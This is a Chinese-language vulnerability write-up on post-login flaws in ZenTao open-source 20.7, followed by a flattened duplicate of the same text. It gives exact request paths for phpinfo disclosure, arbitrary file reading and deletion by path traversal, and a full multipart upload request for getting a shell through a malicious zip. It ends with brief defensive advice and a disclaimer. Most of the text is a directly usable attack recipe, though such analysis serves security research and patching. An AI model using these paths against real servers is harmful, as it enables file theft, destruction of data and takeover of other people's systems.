禅道项目管理软件开源版_20.7 后台 RCE
字数 1108 2025-08-23 18:31:18

禅道项目管理软件开源版20.7后台RCE漏洞分析与利用

漏洞概述

禅道项目管理软件开源版20.7存在多个安全漏洞,攻击者可在获得后台权限后实现远程代码执行(RCE)。本文详细分析这些漏洞的利用方法。

漏洞详情

1. 后台phpinfo信息泄露

漏洞路径:

/index.php?m=misc&f=phpinfo

描述:
直接访问该路径可查看服务器PHP配置信息,泄露敏感环境信息。

2. 后台任意文件读取

漏洞路径:

/index.php?m=editor&f=edit&filePath=Li4vLi4vY29uZmlnL215LnBocA==&action=extendOther&isExtends=3

参数说明:

  • filePath: 需要读取的文件路径,经过base64编码
  • action: 设置为"extendOther"
  • isExtends: 设置为3

利用方法:

  1. 将目标文件路径进行base64编码
  2. 构造请求读取文件内容

示例:
读取../../config/my.php文件:

filePath=Li4vLi4vY29uZmlnL215LnBocA==

3. 后台任意文件删除(方法1)

漏洞路径:

/index.php?m=editor&f=delete&filePath=Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vMS50eHQ=

参数说明:

  • filePath: 需要删除的文件路径,经过base64编码

利用方法:

  1. 将目标文件路径进行base64编码
  2. 构造请求删除文件

注意:
如果服务器支持phar协议,还可利用phar反序列化攻击,但需要找到合适的反序列化链。

4. 后台任意文件删除(方法2)

漏洞路径:

/index.php?m=backup&f=delete&fileName=../../111111

参数说明:

  • fileName: 使用../进行目录遍历,支持通配符*匹配

特点:

  • 可以删除文件夹和文件
  • 删除顺序: 先删文件,再删文件夹内的文件,最后删文件夹

5. 后台上传压缩包getshell

漏洞路径:

POST /index.php?m=ai&f=importMiniProgram

利用条件:

  1. 上传zip压缩包
  2. 服务器会对zip进行解压
  3. 利用include_once进行文件包含

利用步骤:

  1. 创建恶意PHP文件(如111.php)
  2. 将其压缩为111.zip
  3. 通过上传接口上传

请求示例:

POST /index.php?m=ai&f=importMiniProgram HTTP/1.1
Host: 192.168.91.1:8017
Content-Type: multipart/form-data; boundary=23844024494120834914591611306

--23844024494120834914591611306
Content-Disposition: form-data; name="file"; filename="111.zip"
Content-Type: application/x-zip-compressed

[压缩包数据]
--23844024494120834914591611306
Content-Disposition: form-data; name="published"
111
--23844024494120834914591611306
Content-Disposition: form-data; name="category"
222
--23844024494120834914591611306--

注意:

  • 直接构造压缩包可能存在编码问题导致解压失败
  • 建议先上传正常zip文件抓包,再修改内容

6. 后台任意文件上传(方法1 - 失败)

漏洞路径:

POST /index.php?m=editor&f=save

失败原因:
getSavePath函数会拼接传入路径,但在执行save时有服务器端文件创建验证。

7. 后台任意文件上传(方法2 - 失败)

漏洞路径:

POST /index.php?m=extension&f=upload

失败原因:

  • $_FILE自动过滤../,只能上传到指定目录
  • 需要配合文件包含漏洞利用
  • 可通过条件竞争尝试(如100线程上传)

潜在利用:
如果PHP版本<5.2.0且存在目录穿越的文件上传,可利用条件竞争getshell。

防御建议

  1. 及时升级到最新版本
  2. 限制后台访问IP
  3. 加强文件操作权限验证
  4. 对用户输入进行严格过滤
  5. 禁用不必要的PHP函数(如phar)

免责声明

本文仅供安全研究和学习使用,任何利用这些漏洞进行的非法行为都与作者无关。

禅道项目管理软件开源版20.7后台RCE漏洞分析与利用 漏洞概述 禅道项目管理软件开源版20.7存在多个安全漏洞,攻击者可在获得后台权限后实现远程代码执行(RCE)。本文详细分析这些漏洞的利用方法。 漏洞详情 1. 后台phpinfo信息泄露 漏洞路径 : 描述 : 直接访问该路径可查看服务器PHP配置信息,泄露敏感环境信息。 2. 后台任意文件读取 漏洞路径 : 参数说明 : filePath : 需要读取的文件路径,经过base64编码 action : 设置为"extendOther" isExtends : 设置为3 利用方法 : 将目标文件路径进行base64编码 构造请求读取文件内容 示例 : 读取 ../../config/my.php 文件: 3. 后台任意文件删除(方法1) 漏洞路径 : 参数说明 : filePath : 需要删除的文件路径,经过base64编码 利用方法 : 将目标文件路径进行base64编码 构造请求删除文件 注意 : 如果服务器支持phar协议,还可利用phar反序列化攻击,但需要找到合适的反序列化链。 4. 后台任意文件删除(方法2) 漏洞路径 : 参数说明 : fileName : 使用 ../ 进行目录遍历,支持通配符 * 匹配 特点 : 可以删除文件夹和文件 删除顺序: 先删文件,再删文件夹内的文件,最后删文件夹 5. 后台上传压缩包getshell 漏洞路径 : 利用条件 : 上传zip压缩包 服务器会对zip进行解压 利用 include_once 进行文件包含 利用步骤 : 创建恶意PHP文件(如111.php) 将其压缩为111.zip 通过上传接口上传 请求示例 : 注意 : 直接构造压缩包可能存在编码问题导致解压失败 建议先上传正常zip文件抓包,再修改内容 6. 后台任意文件上传(方法1 - 失败) 漏洞路径 : 失败原因 : getSavePath 函数会拼接传入路径,但在执行save时有服务器端文件创建验证。 7. 后台任意文件上传(方法2 - 失败) 漏洞路径 : 失败原因 : $_FILE 自动过滤 ../ ,只能上传到指定目录 需要配合文件包含漏洞利用 可通过条件竞争尝试(如100线程上传) 潜在利用 : 如果PHP版本 <5.2.0且存在目录穿越的文件上传,可利用条件竞争getshell。 防御建议 及时升级到最新版本 限制后台访问IP 加强文件操作权限验证 对用户输入进行严格过滤 禁用不必要的PHP函数(如phar) 免责声明 本文仅供安全研究和学习使用,任何利用这些漏洞进行的非法行为都与作者无关。